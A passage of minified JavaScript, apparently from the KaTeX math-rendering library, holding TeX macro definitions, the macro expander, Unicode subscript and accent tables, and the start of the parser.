#1\\relax");ce("\\ordinarycolon",":");ce("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}");ce("\\dblcolon",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon}}{\\mathop{\\char"2237}}');ce("\\coloneqq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2254}}');ce("\\Coloneqq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2237\\char"3d}}');ce("\\coloneq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"3a\\char"2212}}');ce("\\Coloneq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"2237\\char"2212}}');ce("\\eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2255}}');ce("\\Eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"3d\\char"2237}}');ce("\\eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2239}}');ce("\\Eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"2212\\char"2237}}');ce("\\colonapprox",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"3a\\char"2248}}');ce("\\Colonapprox",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"2237\\char"2248}}');ce("\\colonsim",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"3a\\char"223c}}');ce("\\Colonsim",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"2237\\char"223c}}');ce("\u2237","\\dblcolon");ce("\u2239","\\eqcolon");ce("\u2254","\\coloneqq");ce("\u2255","\\eqqcolon");ce("\u2A74","\\Coloneqq");ce("\\ratio","\\vcentcolon");ce("\\coloncolon","\\dblcolon");ce("\\colonequals","\\coloneqq");ce("\\coloncolonequals","\\Coloneqq");ce("\\equalscolon","\\eqqcolon");ce("\\equalscoloncolon","\\Eqqcolon");ce("\\colonminus","\\coloneq");ce("\\coloncolonminus","\\Coloneq");ce("\\minuscolon","\\eqcolon");ce("\\minuscoloncolon","\\Eqcolon");ce("\\coloncolonapprox","\\Colonapprox");ce("\\coloncolonsim","\\Colonsim");ce("\\simcolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\simcoloncolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\approxcolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\approxcoloncolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\notni","\\html@mathml{\\not\\ni}{\\mathrel{\\char`\u220C}}");ce("\\limsup","\\DOTSB\\operatorname*{lim\\,sup}");ce("\\liminf","\\DOTSB\\operatorname*{lim\\,inf}");ce("\\injlim","\\DOTSB\\operatorname*{inj\\,lim}");ce("\\projlim","\\DOTSB\\operatorname*{proj\\,lim}");ce("\\varlimsup","\\DOTSB\\operatorname*{\\overline{lim}}");ce("\\varliminf","\\DOTSB\\operatorname*{\\underline{lim}}");ce("\\varinjlim","\\DOTSB\\operatorname*{\\underrightarrow{lim}}");ce("\\varprojlim","\\DOTSB\\operatorname*{\\underleftarrow{lim}}");ce("\\gvertneqq","\\html@mathml{\\@gvertneqq}{\u2269}");ce("\\lvertneqq","\\html@mathml{\\@lvertneqq}{\u2268}");ce("\\ngeqq","\\html@mathml{\\@ngeqq}{\u2271}");ce("\\ngeqslant","\\html@mathml{\\@ngeqslant}{\u2271}");ce("\\nleqq","\\html@mathml{\\@nleqq}{\u2270}");ce("\\nleqslant","\\html@mathml{\\@nleqslant}{\u2270}");ce("\\nshortmid","\\html@mathml{\\@nshortmid}{\u2224}");ce("\\nshortparallel","\\html@mathml{\\@nshortparallel}{\u2226}");ce("\\nsubseteqq","\\html@mathml{\\@nsubseteqq}{\u2288}");ce("\\nsupseteqq","\\html@mathml{\\@nsupseteqq}{\u2289}");ce("\\varsubsetneq","\\html@mathml{\\@varsubsetneq}{\u228A}");ce("\\varsubsetneqq","\\html@mathml{\\@varsubsetneqq}{\u2ACB}");ce("\\varsupsetneq","\\html@mathml{\\@varsupsetneq}{\u228B}");ce("\\varsupsetneqq","\\html@mathml{\\@varsupsetneqq}{\u2ACC}");ce("\\imath","\\html@mathml{\\@imath}{\u0131}");ce("\\jmath","\\html@mathml{\\@jmath}{\u0237}");ce("\\llbracket","\\html@mathml{\\mathopen{[\\mkern-3.2mu[}}{\\mathopen{\\char`\u27E6}}");ce("\\rrbracket","\\html@mathml{\\mathclose{]\\mkern-3.2mu]}}{\\mathclose{\\char`\u27E7}}");ce("\u27E6","\\llbracket");ce("\u27E7","\\rrbracket");ce("\\lBrace","\\html@mathml{\\mathopen{\\{\\mkern-3.2mu[}}{\\mathopen{\\char`\u2983}}");ce("\\rBrace","\\html@mathml{\\mathclose{]\\mkern-3.2mu\\}}}{\\mathclose{\\char`\u2984}}");ce("\u2983","\\lBrace");ce("\u2984","\\rBrace");ce("\\minuso","\\mathbin{\\html@mathml{{\\mathrlap{\\mathchoice{\\kern{0.145em}}{\\kern{0.145em}}{\\kern{0.1015em}}{\\kern{0.0725em}}\\circ}{-}}}{\\char`\u29B5}}");ce("\u29B5","\\minuso");ce("\\darr","\\downarrow");ce("\\dArr","\\Downarrow");ce("\\Darr","\\Downarrow");ce("\\lang","\\langle");ce("\\rang","\\rangle");ce("\\uarr","\\uparrow");ce("\\uArr","\\Uparrow");ce("\\Uarr","\\Uparrow");ce("\\N","\\mathbb{N}");ce("\\R","\\mathbb{R}");ce("\\Z","\\mathbb{Z}");ce("\\alef","\\aleph");ce("\\alefsym","\\aleph");ce("\\Alpha","\\mathrm{A}");ce("\\Beta","\\mathrm{B}");ce("\\bull","\\bullet");ce("\\Chi","\\mathrm{X}");ce("\\clubs","\\clubsuit");ce("\\cnums","\\mathbb{C}");ce("\\Complex","\\mathbb{C}");ce("\\Dagger","\\ddagger");ce("\\diamonds","\\diamondsuit");ce("\\empty","\\emptyset");ce("\\Epsilon","\\mathrm{E}");ce("\\Eta","\\mathrm{H}");ce("\\exist","\\exists");ce("\\harr","\\leftrightarrow");ce("\\hArr","\\Leftrightarrow");ce("\\Harr","\\Leftrightarrow");ce("\\hearts","\\heartsuit");ce("\\image","\\Im");ce("\\infin","\\infty");ce("\\Iota","\\mathrm{I}");ce("\\isin","\\in");ce("\\Kappa","\\mathrm{K}");ce("\\larr","\\leftarrow");ce("\\lArr","\\Leftarrow");ce("\\Larr","\\Leftarrow");ce("\\lrarr","\\leftrightarrow");ce("\\lrArr","\\Leftrightarrow");ce("\\Lrarr","\\Leftrightarrow");ce("\\Mu","\\mathrm{M}");ce("\\natnums","\\mathbb{N}");ce("\\Nu","\\mathrm{N}");ce("\\Omicron","\\mathrm{O}");ce("\\plusmn","\\pm");ce("\\rarr","\\rightarrow");ce("\\rArr","\\Rightarrow");ce("\\Rarr","\\Rightarrow");ce("\\real","\\Re");ce("\\reals","\\mathbb{R}");ce("\\Reals","\\mathbb{R}");ce("\\Rho","\\mathrm{P}");ce("\\sdot","\\cdot");ce("\\sect","\\S");ce("\\spades","\\spadesuit");ce("\\sub","\\subset");ce("\\sube","\\subseteq");ce("\\supe","\\supseteq");ce("\\Tau","\\mathrm{T}");ce("\\thetasym","\\vartheta");ce("\\weierp","\\wp");ce("\\Zeta","\\mathrm{Z}");ce("\\argmin","\\DOTSB\\operatorname*{arg\\,min}");ce("\\argmax","\\DOTSB\\operatorname*{arg\\,max}");ce("\\plim","\\DOTSB\\mathop{\\operatorname{plim}}\\limits");ce("\\bra","\\mathinner{\\langle{#1}|}");ce("\\ket","\\mathinner{|{#1}\\rangle}");ce("\\braket","\\mathinner{\\langle{#1}\\rangle}");ce("\\Bra","\\left\\langle#1\\right|");ce("\\Ket","\\left|#1\\right\\rangle");FU=o(t=>e=>{var r=e.consumeArg().tokens,n=e.consumeArg().tokens,i=e.consumeArg().tokens,a=e.consumeArg().tokens,s=e.macros.get("|"),l=e.macros.get("\\|");e.macros.beginGroup();var u=o(d=>p=>{t&&(p.macros.set("|",s),i.length&&p.macros.set("\\|",l));var m=d;if(!d&&i.length){var g=p.future();g.text==="|"&&(p.popToken(),m=!0)}return{tokens:m?i:n,numArgs:0}},"midMacro");e.macros.set("|",u(!1)),i.length&&e.macros.set("\\|",u(!0));var h=e.consumeArg().tokens,f=e.expandTokens([...a,...h,...r]);return e.macros.endGroup(),{tokens:f.reverse(),numArgs:0}},"braketHelper");ce("\\bra@ket",FU(!1));ce("\\bra@set",FU(!0));ce("\\Braket","\\bra@ket{\\left\\langle}{\\,\\middle\\vert\\,}{\\,\\middle\\vert\\,}{\\right\\rangle}");ce("\\Set","\\bra@set{\\left\\{\\:}{\\;\\middle\\vert\\;}{\\;\\middle\\Vert\\;}{\\:\\right\\}}");ce("\\set","\\bra@set{\\{\\,}{\\mid}{}{\\,\\}}");ce("\\angln","{\\angl n}");ce("\\blue","\\textcolor{##6495ed}{#1}");ce("\\orange","\\textcolor{##ffa500}{#1}");ce("\\pink","\\textcolor{##ff00af}{#1}");ce("\\red","\\textcolor{##df0030}{#1}");ce("\\green","\\textcolor{##28ae7b}{#1}");ce("\\gray","\\textcolor{gray}{#1}");ce("\\purple","\\textcolor{##9d38bd}{#1}");ce("\\blueA","\\textcolor{##ccfaff}{#1}");ce("\\blueB","\\textcolor{##80f6ff}{#1}");ce("\\blueC","\\textcolor{##63d9ea}{#1}");ce("\\blueD","\\textcolor{##11accd}{#1}");ce("\\blueE","\\textcolor{##0c7f99}{#1}");ce("\\tealA","\\textcolor{##94fff5}{#1}");ce("\\tealB","\\textcolor{##26edd5}{#1}");ce("\\tealC","\\textcolor{##01d1c1}{#1}");ce("\\tealD","\\textcolor{##01a995}{#1}");ce("\\tealE","\\textcolor{##208170}{#1}");ce("\\greenA","\\textcolor{##b6ffb0}{#1}");ce("\\greenB","\\textcolor{##8af281}{#1}");ce("\\greenC","\\textcolor{##74cf70}{#1}");ce("\\greenD","\\textcolor{##1fab54}{#1}");ce("\\greenE","\\textcolor{##0d923f}{#1}");ce("\\goldA","\\textcolor{##ffd0a9}{#1}");ce("\\goldB","\\textcolor{##ffbb71}{#1}");ce("\\goldC","\\textcolor{##ff9c39}{#1}");ce("\\goldD","\\textcolor{##e07d10}{#1}");ce("\\goldE","\\textcolor{##a75a05}{#1}");ce("\\redA","\\textcolor{##fca9a9}{#1}");ce("\\redB","\\textcolor{##ff8482}{#1}");ce("\\redC","\\textcolor{##f9685d}{#1}");ce("\\redD","\\textcolor{##e84d39}{#1}");ce("\\redE","\\textcolor{##bc2612}{#1}");ce("\\maroonA","\\textcolor{##ffbde0}{#1}");ce("\\maroonB","\\textcolor{##ff92c6}{#1}");ce("\\maroonC","\\textcolor{##ed5fa6}{#1}");ce("\\maroonD","\\textcolor{##ca337c}{#1}");ce("\\maroonE","\\textcolor{##9e034e}{#1}");ce("\\purpleA","\\textcolor{##ddd7ff}{#1}");ce("\\purpleB","\\textcolor{##c6b9fc}{#1}");ce("\\purpleC","\\textcolor{##aa87ff}{#1}");ce("\\purpleD","\\textcolor{##7854ab}{#1}");ce("\\purpleE","\\textcolor{##543b78}{#1}");ce("\\mintA","\\textcolor{##f5f9e8}{#1}");ce("\\mintB","\\textcolor{##edf2df}{#1}");ce("\\mintC","\\textcolor{##e0e5cc}{#1}");ce("\\grayA","\\textcolor{##f6f7f7}{#1}");ce("\\grayB","\\textcolor{##f0f1f2}{#1}");ce("\\grayC","\\textcolor{##e3e5e6}{#1}");ce("\\grayD","\\textcolor{##d6d8da}{#1}");ce("\\grayE","\\textcolor{##babec2}{#1}");ce("\\grayF","\\textcolor{##888d93}{#1}");ce("\\grayG","\\textcolor{##626569}{#1}");ce("\\grayH","\\textcolor{##3b3e40}{#1}");ce("\\grayI","\\textcolor{##21242c}{#1}");ce("\\kaBlue","\\textcolor{##314453}{#1}");ce("\\kaGreen","\\textcolor{##71B307}{#1}");$U={"^":!0,_:!0,"\\limits":!0,"\\nolimits":!0},sA=class{static{o(this,"MacroExpander")}constructor(e,r,n){this.settings=void 0,this.expansionCount=void 0,this.lexer=void 0,this.macros=void 0,this.stack=void 0,this.mode=void 0,this.settings=r,this.expansionCount=0,this.feed(e),this.macros=new aA(Iwe,r.macros),this.mode=n,this.stack=[]}feed(e){this.lexer=new S3(e,this.settings)}switchMode(e){this.mode=e}beginGroup(){this.macros.beginGroup()}endGroup(){this.macros.endGroup()}endGroups(){this.macros.endGroups()}future(){return this.stack.length===0&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]}popToken(){return this.future(),this.stack.pop()}pushToken(e){this.stack.push(e)}pushTokens(e){this.stack.push(...e)}scanArgument(e){var r,n,i;if(e){if(this.consumeSpaces(),this.future().text!=="[")return null;r=this.popToken(),{tokens:i,end:n}=this.consumeArg(["]"])}else({tokens:i,start:r,end:n}=this.consumeArg());return this.pushToken(new Do("EOF",n.loc)),this.pushTokens(i),r.range(n,"")}consumeSpaces(){for(;;){var e=this.future();if(e.text===" ")this.stack.pop();else break}}consumeArg(e){var r=[],n=e&&e.length>0;n||this.consumeSpaces();var i=this.future(),a,s=0,l=0;do{if(a=this.popToken(),r.push(a),a.text==="{")++s;else if(a.text==="}"){if(--s,s===-1)throw new gt("Extra }",a)}else if(a.text==="EOF")throw new gt("Unexpected end of input in a macro argument, expected '"+(e&&n?e[l]:"}")+"'",a);if(e&&n)if((s===0||s===1&&e[l]==="{")&&a.text===e[l]){if(++l,l===e.length){r.splice(-l,l);break}}else l=0}while(s!==0||n);return i.text==="{"&&r[r.length-1].text==="}"&&(r.pop(),r.shift()),r.reverse(),{tokens:r,start:i,end:a}}consumeArgs(e,r){if(r){if(r.length!==e+1)throw new gt("The length of delimiters doesn't match the number of args!");for(var n=r[0],i=0;ithis.settings.maxExpand)throw new gt("Too many expansions: infinite loop or need to increase maxExpand setting")}expandOnce(e){var r=this.popToken(),n=r.text,i=r.noexpand?null:this._getExpansion(n);if(i==null||e&&i.unexpandable){if(e&&i==null&&n[0]==="\\"&&!this.isDefined(n))throw new gt("Undefined control sequence: "+n);return this.pushToken(r),!1}this.countExpansion(1);var a=i.tokens,s=this.consumeArgs(i.numArgs,i.delimiters);if(i.numArgs){a=a.slice();for(var l=a.length-1;l>=0;--l){var u=a[l];if(u.text==="#"){if(l===0)throw new gt("Incomplete placeholder at end of macro body",u);if(u=a[--l],u.text==="#")a.splice(l+1,1);else if(/^[1-9]$/.test(u.text))a.splice(l,2,...s[+u.text-1]);else throw new gt("Not a valid argument number",u)}}}return this.pushTokens(a),a.length}expandAfterFuture(){return this.expandOnce(),this.future()}expandNextToken(){for(;;)if(this.expandOnce()===!1){var e=this.stack.pop();return e.treatAsRelax&&(e.text="\\relax"),e}throw new Error}expandMacro(e){return this.macros.has(e)?this.expandTokens([new Do(e)]):void 0}expandTokens(e){var r=[],n=this.stack.length;for(this.pushTokens(e);this.stack.length>n;)if(this.expandOnce(!0)===!1){var i=this.stack.pop();i.treatAsRelax&&(i.noexpand=!1,i.treatAsRelax=!1),r.push(i)}return this.countExpansion(r.length),r}expandMacroAsText(e){var r=this.expandMacro(e);return r&&r.map(n=>n.text).join("")}_getExpansion(e){var r=this.macros.get(e);if(r==null)return r;if(e.length===1){var n=this.lexer.catcodes[e];if(n!=null&&n!==13)return}var i=typeof r=="function"?r(this):r;if(typeof i=="string"){var a=0;if(i.indexOf("#")!==-1)for(var s=i.replace(/##/g,"");s.indexOf("#"+(a+1))!==-1;)++a;for(var l=new S3(i,this.settings),u=[],h=l.lex();h.text!=="EOF";)u.push(h),h=l.lex();u.reverse();var f={tokens:u,numArgs:a};return f}return i}isDefined(e){return this.macros.has(e)||xh.hasOwnProperty(e)||Nn.math.hasOwnProperty(e)||Nn.text.hasOwnProperty(e)||$U.hasOwnProperty(e)}isExpandable(e){var r=this.macros.get(e);return r!=null?typeof r=="string"||typeof r=="function"||!r.unexpandable:xh.hasOwnProperty(e)&&!xh[e].primitive}},HV=/^[₊₋₌₍₎₀₁₂₃₄₅₆₇₈₉ₐₑₕᵢⱼₖₗₘₙₒₚᵣₛₜᵤᵥₓᵦᵧᵨᵩᵪ]/,y3=Object.freeze({"\u208A":"+","\u208B":"-","\u208C":"=","\u208D":"(","\u208E":")","\u2080":"0","\u2081":"1","\u2082":"2","\u2083":"3","\u2084":"4","\u2085":"5","\u2086":"6","\u2087":"7","\u2088":"8","\u2089":"9","\u2090":"a","\u2091":"e","\u2095":"h","\u1D62":"i","\u2C7C":"j","\u2096":"k","\u2097":"l","\u2098":"m","\u2099":"n","\u2092":"o","\u209A":"p","\u1D63":"r","\u209B":"s","\u209C":"t","\u1D64":"u","\u1D65":"v","\u2093":"x","\u1D66":"\u03B2","\u1D67":"\u03B3","\u1D68":"\u03C1","\u1D69":"\u03D5","\u1D6A":"\u03C7","\u207A":"+","\u207B":"-","\u207C":"=","\u207D":"(","\u207E":")","\u2070":"0","\xB9":"1","\xB2":"2","\xB3":"3","\u2074":"4","\u2075":"5","\u2076":"6","\u2077":"7","\u2078":"8","\u2079":"9","\u1D2C":"A","\u1D2E":"B","\u1D30":"D","\u1D31":"E","\u1D33":"G","\u1D34":"H","\u1D35":"I","\u1D36":"J","\u1D37":"K","\u1D38":"L","\u1D39":"M","\u1D3A":"N","\u1D3C":"O","\u1D3E":"P","\u1D3F":"R","\u1D40":"T","\u1D41":"U","\u2C7D":"V","\u1D42":"W","\u1D43":"a","\u1D47":"b","\u1D9C":"c","\u1D48":"d","\u1D49":"e","\u1DA0":"f","\u1D4D":"g",\u02B0:"h","\u2071":"i",\u02B2:"j","\u1D4F":"k",\u02E1:"l","\u1D50":"m",\u207F:"n","\u1D52":"o","\u1D56":"p",\u02B3:"r",\u02E2:"s","\u1D57":"t","\u1D58":"u","\u1D5B":"v",\u02B7:"w",\u02E3:"x",\u02B8:"y","\u1DBB":"z","\u1D5D":"\u03B2","\u1D5E":"\u03B3","\u1D5F":"\u03B4","\u1D60":"\u03D5","\u1D61":"\u03C7","\u1DBF":"\u03B8"}),X7={"\u0301":{text:"\\'",math:"\\acute"},"\u0300":{text:"\\`",math:"\\grave"},"\u0308":{text:'\\"',math:"\\ddot"},"\u0303":{text:"\\~",math:"\\tilde"},"\u0304":{text:"\\=",math:"\\bar"},"\u0306":{text:"\\u",math:"\\breve"},"\u030C":{text:"\\v",math:"\\check"},"\u0302":{text:"\\^",math:"\\hat"},"\u0307":{text:"\\.",math:"\\dot"},"\u030A":{text:"\\r",math:"\\mathring"},"\u030B":{text:"\\H"},"\u0327":{text:"\\c"}},qV={\u00E1:"a\u0301",\u00E0:"a\u0300",\u00E4:"a\u0308",\u01DF:"a\u0308\u0304",\u00E3:"a\u0303",\u0101:"a\u0304",\u0103:"a\u0306",\u1EAF:"a\u0306\u0301",\u1EB1:"a\u0306\u0300",\u1EB5:"a\u0306\u0303",\u01CE:"a\u030C",\u00E2:"a\u0302",\u1EA5:"a\u0302\u0301",\u1EA7:"a\u0302\u0300",\u1EAB:"a\u0302\u0303",\u0227:"a\u0307",\u01E1:"a\u0307\u0304",\u00E5:"a\u030A",\u01FB:"a\u030A\u0301",\u1E03:"b\u0307",\u0107:"c\u0301",\u1E09:"c\u0327\u0301",\u010D:"c\u030C",\u0109:"c\u0302",\u010B:"c\u0307",\u00E7:"c\u0327",\u010F:"d\u030C",\u1E0B:"d\u0307",\u1E11:"d\u0327",\u00E9:"e\u0301",\u00E8:"e\u0300",\u00EB:"e\u0308",\u1EBD:"e\u0303",\u0113:"e\u0304",\u1E17:"e\u0304\u0301",\u1E15:"e\u0304\u0300",\u0115:"e\u0306",\u1E1D:"e\u0327\u0306",\u011B:"e\u030C",\u00EA:"e\u0302",\u1EBF:"e\u0302\u0301",\u1EC1:"e\u0302\u0300",\u1EC5:"e\u0302\u0303",\u0117:"e\u0307",\u0229:"e\u0327",\u1E1F:"f\u0307",\u01F5:"g\u0301",\u1E21:"g\u0304",\u011F:"g\u0306",\u01E7:"g\u030C",\u011D:"g\u0302",\u0121:"g\u0307",\u0123:"g\u0327",\u1E27:"h\u0308",\u021F:"h\u030C",\u0125:"h\u0302",\u1E23:"h\u0307",\u1E29:"h\u0327",\u00ED:"i\u0301",\u00EC:"i\u0300",\u00EF:"i\u0308",\u1E2F:"i\u0308\u0301",\u0129:"i\u0303",\u012B:"i\u0304",\u012D:"i\u0306",\u01D0:"i\u030C",\u00EE:"i\u0302",\u01F0:"j\u030C",\u0135:"j\u0302",\u1E31:"k\u0301",\u01E9:"k\u030C",\u0137:"k\u0327",\u013A:"l\u0301",\u013E:"l\u030C",\u013C:"l\u0327",\u1E3F:"m\u0301",\u1E41:"m\u0307",\u0144:"n\u0301",\u01F9:"n\u0300",\u00F1:"n\u0303",\u0148:"n\u030C",\u1E45:"n\u0307",\u0146:"n\u0327",\u00F3:"o\u0301",\u00F2:"o\u0300",\u00F6:"o\u0308",\u022B:"o\u0308\u0304",\u00F5:"o\u0303",\u1E4D:"o\u0303\u0301",\u1E4F:"o\u0303\u0308",\u022D:"o\u0303\u0304",\u014D:"o\u0304",\u1E53:"o\u0304\u0301",\u1E51:"o\u0304\u0300",\u014F:"o\u0306",\u01D2:"o\u030C",\u00F4:"o\u0302",\u1ED1:"o\u0302\u0301",\u1ED3:"o\u0302\u0300",\u1ED7:"o\u0302\u0303",\u022F:"o\u0307",\u0231:"o\u0307\u0304",\u0151:"o\u030B",\u1E55:"p\u0301",\u1E57:"p\u0307",\u0155:"r\u0301",\u0159:"r\u030C",\u1E59:"r\u0307",\u0157:"r\u0327",\u015B:"s\u0301",\u1E65:"s\u0301\u0307",\u0161:"s\u030C",\u1E67:"s\u030C\u0307",\u015D:"s\u0302",\u1E61:"s\u0307",\u015F:"s\u0327",\u1E97:"t\u0308",\u0165:"t\u030C",\u1E6B:"t\u0307",\u0163:"t\u0327",\u00FA:"u\u0301",\u00F9:"u\u0300",\u00FC:"u\u0308",\u01D8:"u\u0308\u0301",\u01DC:"u\u0308\u0300",\u01D6:"u\u0308\u0304",\u01DA:"u\u0308\u030C",\u0169:"u\u0303",\u1E79:"u\u0303\u0301",\u016B:"u\u0304",\u1E7B:"u\u0304\u0308",\u016D:"u\u0306",\u01D4:"u\u030C",\u00FB:"u\u0302",\u016F:"u\u030A",\u0171:"u\u030B",\u1E7D:"v\u0303",\u1E83:"w\u0301",\u1E81:"w\u0300",\u1E85:"w\u0308",\u0175:"w\u0302",\u1E87:"w\u0307",\u1E98:"w\u030A",\u1E8D:"x\u0308",\u1E8B:"x\u0307",\u00FD:"y\u0301",\u1EF3:"y\u0300",\u00FF:"y\u0308",\u1EF9:"y\u0303",\u0233:"y\u0304",\u0177:"y\u0302",\u1E8F:"y\u0307",\u1E99:"y\u030A",\u017A:"z\u0301",\u017E:"z\u030C",\u1E91:"z\u0302",\u017C:"z\u0307",\u00C1:"A\u0301",\u00C0:"A\u0300",\u00C4:"A\u0308",\u01DE:"A\u0308\u0304",\u00C3:"A\u0303",\u0100:"A\u0304",\u0102:"A\u0306",\u1EAE:"A\u0306\u0301",\u1EB0:"A\u0306\u0300",\u1EB4:"A\u0306\u0303",\u01CD:"A\u030C",\u00C2:"A\u0302",\u1EA4:"A\u0302\u0301",\u1EA6:"A\u0302\u0300",\u1EAA:"A\u0302\u0303",\u0226:"A\u0307",\u01E0:"A\u0307\u0304",\u00C5:"A\u030A",\u01FA:"A\u030A\u0301",\u1E02:"B\u0307",\u0106:"C\u0301",\u1E08:"C\u0327\u0301",\u010C:"C\u030C",\u0108:"C\u0302",\u010A:"C\u0307",\u00C7:"C\u0327",\u010E:"D\u030C",\u1E0A:"D\u0307",\u1E10:"D\u0327",\u00C9:"E\u0301",\u00C8:"E\u0300",\u00CB:"E\u0308",\u1EBC:"E\u0303",\u0112:"E\u0304",\u1E16:"E\u0304\u0301",\u1E14:"E\u0304\u0300",\u0114:"E\u0306",\u1E1C:"E\u0327\u0306",\u011A:"E\u030C",\u00CA:"E\u0302",\u1EBE:"E\u0302\u0301",\u1EC0:"E\u0302\u0300",\u1EC4:"E\u0302\u0303",\u0116:"E\u0307",\u0228:"E\u0327",\u1E1E:"F\u0307",\u01F4:"G\u0301",\u1E20:"G\u0304",\u011E:"G\u0306",\u01E6:"G\u030C",\u011C:"G\u0302",\u0120:"G\u0307",\u0122:"G\u0327",\u1E26:"H\u0308",\u021E:"H\u030C",\u0124:"H\u0302",\u1E22:"H\u0307",\u1E28:"H\u0327",\u00CD:"I\u0301",\u00CC:"I\u0300",\u00CF:"I\u0308",\u1E2E:"I\u0308\u0301",\u0128:"I\u0303",\u012A:"I\u0304",\u012C:"I\u0306",\u01CF:"I\u030C",\u00CE:"I\u0302",\u0130:"I\u0307",\u0134:"J\u0302",\u1E30:"K\u0301",\u01E8:"K\u030C",\u0136:"K\u0327",\u0139:"L\u0301",\u013D:"L\u030C",\u013B:"L\u0327",\u1E3E:"M\u0301",\u1E40:"M\u0307",\u0143:"N\u0301",\u01F8:"N\u0300",\u00D1:"N\u0303",\u0147:"N\u030C",\u1E44:"N\u0307",\u0145:"N\u0327",\u00D3:"O\u0301",\u00D2:"O\u0300",\u00D6:"O\u0308",\u022A:"O\u0308\u0304",\u00D5:"O\u0303",\u1E4C:"O\u0303\u0301",\u1E4E:"O\u0303\u0308",\u022C:"O\u0303\u0304",\u014C:"O\u0304",\u1E52:"O\u0304\u0301",\u1E50:"O\u0304\u0300",\u014E:"O\u0306",\u01D1:"O\u030C",\u00D4:"O\u0302",\u1ED0:"O\u0302\u0301",\u1ED2:"O\u0302\u0300",\u1ED6:"O\u0302\u0303",\u022E:"O\u0307",\u0230:"O\u0307\u0304",\u0150:"O\u030B",\u1E54:"P\u0301",\u1E56:"P\u0307",\u0154:"R\u0301",\u0158:"R\u030C",\u1E58:"R\u0307",\u0156:"R\u0327",\u015A:"S\u0301",\u1E64:"S\u0301\u0307",\u0160:"S\u030C",\u1E66:"S\u030C\u0307",\u015C:"S\u0302",\u1E60:"S\u0307",\u015E:"S\u0327",\u0164:"T\u030C",\u1E6A:"T\u0307",\u0162:"T\u0327",\u00DA:"U\u0301",\u00D9:"U\u0300",\u00DC:"U\u0308",\u01D7:"U\u0308\u0301",\u01DB:"U\u0308\u0300",\u01D5:"U\u0308\u0304",\u01D9:"U\u0308\u030C",\u0168:"U\u0303",\u1E78:"U\u0303\u0301",\u016A:"U\u0304",\u1E7A:"U\u0304\u0308",\u016C:"U\u0306",\u01D3:"U\u030C",\u00DB:"U\u0302",\u016E:"U\u030A",\u0170:"U\u030B",\u1E7C:"V\u0303",\u1E82:"W\u0301",\u1E80:"W\u0300",\u1E84:"W\u0308",\u0174:"W\u0302",\u1E86:"W\u0307",\u1E8C:"X\u0308",\u1E8A:"X\u0307",\u00DD:"Y\u0301",\u1EF2:"Y\u0300",\u0178:"Y\u0308",\u1EF8:"Y\u0303",\u0232:"Y\u0304",\u0176:"Y\u0302",\u1E8E:"Y\u0307",\u0179:"Z\u0301",\u017D:"Z\u030C",\u1E90:"Z\u0302",\u017B:"Z\u0307",\u03AC:"\u03B1\u0301",\u1F70:"\u03B1\u0300",\u1FB1:"\u03B1\u0304",\u1FB0:"\u03B1\u0306",\u03AD:"\u03B5\u0301",\u1F72:"\u03B5\u0300",\u03AE:"\u03B7\u0301",\u1F74:"\u03B7\u0300",\u03AF:"\u03B9\u0301",\u1F76:"\u03B9\u0300",\u03CA:"\u03B9\u0308",\u0390:"\u03B9\u0308\u0301",\u1FD2:"\u03B9\u0308\u0300",\u1FD1:"\u03B9\u0304",\u1FD0:"\u03B9\u0306",\u03CC:"\u03BF\u0301",\u1F78:"\u03BF\u0300",\u03CD:"\u03C5\u0301",\u1F7A:"\u03C5\u0300",\u03CB:"\u03C5\u0308",\u03B0:"\u03C5\u0308\u0301",\u1FE2:"\u03C5\u0308\u0300",\u1FE1:"\u03C5\u0304",\u1FE0:"\u03C5\u0306",\u03CE:"\u03C9\u0301",\u1F7C:"\u03C9\u0300",\u038E:"\u03A5\u0301",\u1FEA:"\u03A5\u0300",\u03AB:"\u03A5\u0308",\u1FE9:"\u03A5\u0304",\u1FE8:"\u03A5\u0306",\u038F:"\u03A9\u0301",\u1FFA:"\u03A9\u0300"},C3=class t{static{o(this,"Parser")}constructor(e,r){this.mode=void 0,this.gullet=void 0,this.settings=void 0,this.leftrightDepth=void 0,this.nextToken=void 0,this.mode="math",this.gullet=new sA(e,r,this.mode),this.settings=r,this.leftrightDepth=0}expect(e,r){if(r===void 0&&(r=!0),this.fetch().text!==e)throw new gt("Expected '"+e+"', got '"+this.fetch().text+"'",this.fetch());r&&this.consume()}consume(){this.nextToken=null}fetch(){return this.nextToken==null&&(this.nextToken=this.gullet.expandNextToken()),this.nextToken}switchMode(e){this.mode=e,this.gullet.switchMode(e)}parse(){this.settings.globalGroup||this.gullet.beginGroup(),this.settings.colorIsTextColor&&this.gullet.macros.set("\\color","\\textcolor");try{var e=this.parseExpression(!1);return 